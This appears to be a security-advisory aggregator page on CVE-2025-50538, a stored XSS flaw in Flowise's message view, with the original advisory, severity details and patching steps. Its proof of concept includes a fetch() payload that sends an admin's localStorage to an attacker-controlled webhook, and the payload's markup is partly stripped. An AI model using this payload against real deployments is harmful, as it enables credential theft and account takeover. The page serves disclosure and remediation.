Cross-Site Scripting (XSS) in flowise (CVE-2025-50538)
Summary
Cross-site scripting in flowise (CVE-2025-50538). Confidential information can be exposed externally. Exploitable via localStorage. Mitigation: upgrade to 3.0.8 or later.
Original description
The description as published by the source.
Summary
A stored Cross-Site Scripting (XSS) vulnerability in FlowiseAI allows a user to inject arbitrary JavaScript code via message input. When an administrator views messages using the "View Messages" button in the workflow UI, the malicious script executes in the context of the admin’s browser, enabling credential theft via access to localStorage.
Details
The vulnerability stems from a lack of input sanitization when displaying stored user messages in the admin interface. A specially crafted payload using `` can include arbitrary JavaScript, which is executed when the message is rendered.
PoC
- Deploy a FlowiseAI agent and make it accessible via browser (e.g., embed on a website).
- Send the following payload via the agent's chat interface:
fetch('http://requestbin.whapi.cloud/XXXXX?d='+encodeURIComponent(JSON.stringify(localStorage)))"> - As an admin, go to the workflow and click "View Messages".
- The JavaScript is executed in the admin's browser, exfiltrating
localStoragecontent to the attacker-controlled webhook endpoint.
Impact
- Type: Stored Cross-Site Scripting (XSS)
- Who is impacted: Any admin viewing messages in the FlowiseAI UI
- Data at risk: Admin credentials, or sensitive info stored in
localStorage - Severity: High (Account takeover, admin privilege escalation, full panel compromise)
Affected Products
- Ecosystem:
npm - Package name:
flowise - **Affect…
Source: NIST National Vulnerability Database NVD GitHub Advisory
Auto-generated summary
Assembled by SecPulse from the source data (CVSS, CWE, affected versions) using templates — no AI involved. Check the original description and references below for exact details.
A vulnerability tracked as CVE-2025-50538 has been found in flowise.
Attackers can target a specific entry point like localStorage over the network to misuse the product.
Confidential information can be exposed externally. CVSS score: 8.2/10.
What to do: upgrade flowise to 3.0.8 or later.
If unsure, ask your IT team or search "flowise CVE-2025-50538" on the vendor's site.
CVE-2025-50538 (flowise) — CWE-79 / CVSS v3 8.2
Attack vector: remote (network-reachable) / unauthenticated
Attack surface: localStorage / npm / flowise
Patched: 3.0.8 — apply immediately
Plan: 1) Audit SBOM/dependencies, 2) Stage→prod upgrade, 3) Add WAF/proxy monitoring on affected endpoints, 4) Hunt IOCs in logs.
Refs: see the GHSA / vendor advisory / patched release linked on this page.
Cross-site scripting (XSS) (CWE-79) exists in flowise. Attackers reach the vulnerable code path via localStorage without authentication.
Check the vendor advisory for the affected versions of flowise. Attack surface: localStorage / npm / flowise.
Severity: High (CVSS 8.2/10). Confidential information can be exposed externally.
Update to 3.0.8.
Until the patch is applied: disable the affected feature, apply WAF rules, or restrict access via network ACLs.
Search webserver/proxy logs for unusual request patterns matching this CVE's known IOCs. Run grep -r 'flowise' . against your dependency files (package-lock.json, requirements.txt, go.sum) to find affected services.
Response actions
Concrete steps and command examples for SOC/SRE teams to execute in order
-
1Identify exposure identify
grep -r 'flowise' . | grep -v node_modulesリポジトリと本番環境の依存ファイル (package-lock.json / requirements.txt / go.sum / Gemfile.lock 等) で
flowiseを grep し、稼働しているサービス・バージョンを把握する。 -
2Apply patch patch
Upgrade flowise to 3.0.8ステージング環境で 3.0.8 に上げて回帰テスト → 本番反映。回帰テストはアプリの主要ハッピーパスを含めること。
-
3Post-deployment verification verify
Confirm patched version is live in productionパッチ適用後、ステージングで PoC または同等の悪用パターンを再現して脆弱性が閉じたことを確認。本番ではアクセスログ・WAF でアラート再発が無いか継続監視。
Affected packages
References
- advisory nvd.nist.gov
- exploit github.com
- package github.com
- patch cve@mitre.org
- web cve@mitre.org
- web github.com